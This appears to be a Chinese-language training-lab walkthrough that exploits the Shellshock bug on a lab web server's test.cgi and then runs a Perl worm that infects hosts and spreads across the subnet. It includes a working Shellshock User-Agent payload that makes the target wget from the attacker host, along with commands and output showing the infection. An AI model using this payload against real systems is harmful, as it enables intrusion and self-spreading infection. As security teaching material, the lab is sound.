实验步骤一
本实验分为三个任务:
任务一:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞;
任务二:蠕虫发起者执行蠕虫程序,感染1号主机Worm1;
任务三:观察Worm1主机蠕虫的传播过程,检查Worm2主机是否被感染。
任务描述:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞
1.使用ssh登录蠕虫发起者主机(10.1.1.231),执行下面三条命令。命令执行结果如下图所示。
[root@worm-master ~]# tail /var/log/httpd/access_log
[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi
[root@worm-master ~]# tail /var/log/httpd/access_log
2.根据最后一条命令的结果,蠕虫发起者主机(10.1.1.231)的web日志中出现了worm1的访问记录,说明worm1主机(10.1.1.12)存在破壳漏洞。
实验步骤二
任务描述:蠕虫发起者执行蠕虫程序,感染1号主机Worm1。
1.为了避免自身被感染,向蠕虫表明自己是发起者的身份,我们需要登录10.1.1.231主机,通过下面的命令创建一个文件。
[root@worm-master ~]# touch /tmp/key.txt
2.继续在10.1.1.231上执行下面的命令,可以找到蠕虫程序。
[root@worm-master shockworm]# cd /root/shockworm/
[root@worm-master shockworm]# ls
Shellshock.pl
3.登录worm1,查看/tmp目录。
[root@worm-test1 tmp]# ls -al
total 12
drwxrwxrwt. 3 root root 4096 Jun 25 03:25 .
dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..
drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix
-rw-------. 1 root root 0 Jan 9 2014 yum.log
4.继续返回10.1.1.231主机,执行下面的命令,来运行蠕虫程序。
[root@worm-master shockworm]# perl shellshock.pl
local ip is 10.1.1.231
targetIP is 10.1.1.12...
Done!
[root@worm-master shockworm]#
5.登录Worm1,执行下面的命令,观察被感染的特征。
[root@worm-test1 tmp]# ls -al
total 16
drwxrwxrwt. 4 root root 4096 Jun 25 13:52 .
dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..
drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix
drwxr-xrwx. 2 apache apache 4096 Jun 25 13:52 .ssh-mOTc45gfXwPj
-rw-------. 1 root root 0 Jan 9 2014 yum.log
[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/
agent.1336 agent.1337
[root@worm-test1 tmp]# ps aux | grep agent.1337
apache 1827 0.0 0.8 33884 4420 ? S Jun24 0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337
root 3512 0.0 0.1 103244 864 pts/1 S+ 13:56 0:00 grep agent.1337
通过对比/tmp目录可以发现,Worm1已经被感染了shockworm蠕虫程序,如下图。
实验步骤三
1.登录Worm1(10.1.1.12),不断的执行命令:“ps aux |grep curl”可以看到蠕虫的传播过程,被感染的Worm1通过agent.1337进程,不断的向同网段的其他主机发起攻击与感染。如下所示:
[root@worm-test1 tmp]# ps aux | grep curl
apache 3741 0.0 0.2 11300 1280 ? S 14:03 0:00 sh -c curl http://10.1.1.16/test.cgi 2>/dev/null | grep Hi | wc -l
apache 3742 0.0 0.6 73992 3072 ? S 14:03 0:00 curl http://10.1.1.16/test.cgi
root 3752 0.0 0.1 103244 852 pts/1 S+ 14:03 0:00 grep curl
[root@worm-test1 tmp]# ps aux | grep curl
apache 3753 0.0 0.2 11300 1276 ? S 14:03 0:00 sh -c curl http://10.1.1.17/test.cgi 2>/dev/null | grep Hi | wc -l
apache 3754 0.0 0.6 73992 3076 ? S 14:03 0:00 curl http://10.1.1.17/test.cgi
root 3758 0.0 0.1 103244 856 pts/1 S+ 14:03 0:00 grep curl
从上面命令的执行结果,可以看出,蠕虫正在攻击10.1.1.16和10.1.1.17。
2.经过一段时间之后(大约10分钟),登录Worm2。同样使用命令:”ls -al /tmp”查看,可以发现主机也被此蠕虫感染。对比效果如下图: